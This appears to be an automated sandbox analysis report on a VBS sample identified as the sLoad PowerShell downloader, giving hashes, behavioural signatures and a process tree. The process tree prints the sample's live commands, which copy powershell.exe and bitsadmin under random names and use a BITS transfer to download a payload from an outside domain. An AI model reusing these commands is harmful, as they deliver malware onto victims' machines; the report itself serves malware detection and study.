Analysis

  • max time kernel
    140s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-08-2024 04:16

General

  • Target

    8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    8d480d61c5cf6b2159351ef893b231be

  • SHA1

    eaf0c1753e9b0da1c6312e05a2e22238625bfe38

  • SHA256

    6974d7e0bc78fe05635852aabd1f112eea8ba7651f1032d26c4145c30e036e4e

  • SHA512

    dff09e98af520e2492cc6c610394186f7ceaff8f8c406854318e9eaa22a2104393f7d7a6f1faf7caf4dfc4ec998ba4dbcc7161d4f573147423eb6a46562ad324

  • SSDEEP

    192:vrE1FzIZvtX4nBzxr6s3khSbI3z0pY/qMkAiKCjHXuqT/nt9BXEWFLFL:vIbgvtX4nBzxr6s3khaIYpY/qmCjHeqV

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aKYqSzI.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\zIHUzOo*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aKYqSzI.exe
        3⤵
          PID:456
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\zIHUzOo*.exe
          3⤵
            PID:3040
        • C:\ProgramData\zIHUzOoin.exe
          "C:\ProgramData\zIHUzOoin.exe" /wrap /transfer YEXJvszs https://marthayfabrizio.com/fibra/PSQDNL70C17G999C/first.rtf C:\ProgramData\first.rtf
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1084

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\zIHUzOoin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a